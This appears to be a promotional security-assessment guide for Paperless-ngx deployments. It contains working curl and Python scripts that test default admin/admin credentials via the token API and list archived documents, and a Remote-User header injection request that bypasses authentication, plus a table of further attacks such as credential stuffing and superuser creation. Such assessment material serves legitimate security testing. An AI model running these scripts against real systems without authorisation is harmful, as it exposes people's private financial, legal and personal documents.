Paperless-ngx is a widely deployed self-hosted document management system used to digitize, archive, and search paper documents including sensitive financial, legal, and personal documents. Its security profile is high-stakes given the content typically stored: Paperless-ngx's official installation documentation uses admin/admin as example credentials, and the Docker Compose-based installation creates these credentials by default — unchanged defaults give full access to all archived sensitive documents; the REST API token authentication at /api/token/ returns a persistent token with valid credentials — this token provides programmatic access to list, download, upload, and delete all archived documents; Paperless-ngx supports a Remote User authentication mode for SSO via reverse proxy where the username is passed via an HTTP header (HTTP_REMOTE_USER) — if this header can be injected by the client rather than exclusively set by the trusted proxy, authentication as any existing username is trivially achievable; the /consume/ directory is watched by Paperless-ngx's consumer service for new files to OCR and archive — unauthorized write access to this directory injects documents into the archive; and the document storage backend (local filesystem or S3) must be secured independently from the Paperless-ngx application. This guide covers systematic Paperless-ngx security assessment.
# Paperless-ngx default admin/admin credentials (common in Docker Compose installs)
PAPERLESS_URL="https://paperless.example.com"
# Test default credentials via API token endpoint
RESPONSE=$(curl -s -X POST "${PAPERLESS_URL}/api/token/" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' 2>/dev/null)
TOKEN=$(echo "$RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('token',''))
" 2>/dev/null)
if [ -n "$TOKEN" ]; then
echo "DEFAULT CREDENTIALS WORK — API token: ${TOKEN}"
# Get document count
curl -s "${PAPERLESS_URL}/api/documents/" \
-H "Authorization: Token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Documents: {d.get(\"count\",\"?\")}')
# First 5 documents
for doc in d.get('results',[])[:5]:
print(f\" {doc.get('title','?')} created={doc.get('created','?')[:10]}\")
" 2>/dev/null
fi
# Paperless-ngx Remote User authentication mode
# When PAPERLESS_ENABLE_HTTP_REMOTE_USER=true is configured,
# the HTTP_REMOTE_USER header is trusted to identify the authenticated user
# If the reverse proxy does not strip this header from client requests,
# any client can authenticate as any Paperless-ngx username
PAPERLESS_URL="https://paperless.example.com"
# Test if Remote User header injection works
# This bypasses normal credential authentication when enabled
curl -s "${PAPERLESS_URL}/api/documents/" \
-H "Remote-User: admin" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
count = d.get('count',None)
if count is not None:
print(f'REMOTE USER BYPASS WORKS — documents accessible: {count}')
else:
print('Auth required or header not accepted')
except:
print('Non-JSON response')
" 2>/dev/null
# Note: header name depends on proxy config — may also be:
# X-Remote-User, X-Forwarded-User, HTTP_REMOTE_USER
| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credentials | POST /api/token/ with admin/admin — API token gives full document list, download, upload, and delete access across all archived sensitive documents | Critical |
| Remote User header injection when SSO configured | Request with Remote-User: admin header — bypasses password authentication if proxy does not strip client-supplied headers; authenticates as any username | Critical |
| API token enumeration via brute force | POST /api/token/ with common username/password combinations — no rate limiting by default enables credential stuffing attack | High |
| Document API listing all archived documents | GET /api/documents/ with valid token — returns all document titles, content previews, tags, and download URLs for every archived document | Critical |
| Consumption directory unauthorized write access | Write access to /consume/ directory — any file placed here is OCR-processed and archived into the document management system | High |
| Superuser creation via manage.py | Container exec: python manage.py createsuperuser — if Docker socket or exec access exists, admin account can be created directly | Critical |
Ironimo tests Paperless-ngx deployments for default admin/admin credentials via the /api/token/ endpoint exposing all archived sensitive documents, Remote User authentication header injection bypassing SSO proxy authentication when PAPERLESS_ENABLE_HTTP_REMOTE_USER is configured, document API enumeration returning all archived document titles and download URLs, consumption directory write access allowing document injection into the archive, API token brute force without rate limiting, and credential exposure in Docker Compose environment variables.
Start free scan